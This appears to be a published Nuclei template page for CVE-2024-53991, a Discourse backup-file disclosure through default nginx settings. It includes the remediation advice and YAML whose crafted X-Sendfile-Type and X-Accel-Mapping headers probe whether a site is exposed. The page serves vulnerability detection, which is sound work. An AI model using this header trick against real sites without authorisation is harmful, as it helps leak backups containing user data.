Discourse Backup File Disclosure Via Default Nginx Configuration

ID: CVE-2024-53991

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,discourse,disclosure

Description

Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use FileStore--LocalStore which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.

YAML Source

id: CVE-2024-53991

info:
  name: Discourse Backup File Disclosure Via Default Nginx Configuration
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
  remediation: |
    This issue is patched in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. Users unable to upgrade can either 1. Download all local backups on to another storage device, disable the `enable_backups` site setting and delete all backups until the site has been upgraded to pull in the fix. Or  2. Change the `backup_location` site setting to `s3` so that backups are stored and downloaded directly from S3.
  reference:
    - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
    - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-53991
    cwe-id: CWE-200
    epss-score: 0.00121
    epss-percentile: 0.28736
  metadata:
    shodan-query: http.component:"Discourse"
  tags: cve,cve2024,discourse,disclosure

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: styles
        group: 1
        regex:
          - 'href="(/stylesheets/discourse-.*?)"'
        internal: true

  - raw:
      - |
        GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
        Host: {{Hostname}}
        X-Sendfile-Type: X-Accel-Redirect
        X-Accel-Mapping: .*=/downloads/backups/default/

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(content_type, "text/html")'
          - 'contains(response, "discourse")'
        condition: and
# digest: 490a004630440220552901cca8cdcce2a8f86dac275180a459cf3eed2a063de59ca0fac81d607af50220209e6681365fd001e85764b4c648e35bf76f4150dc3449d66aa33ac49d330c7b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-53991.yaml"

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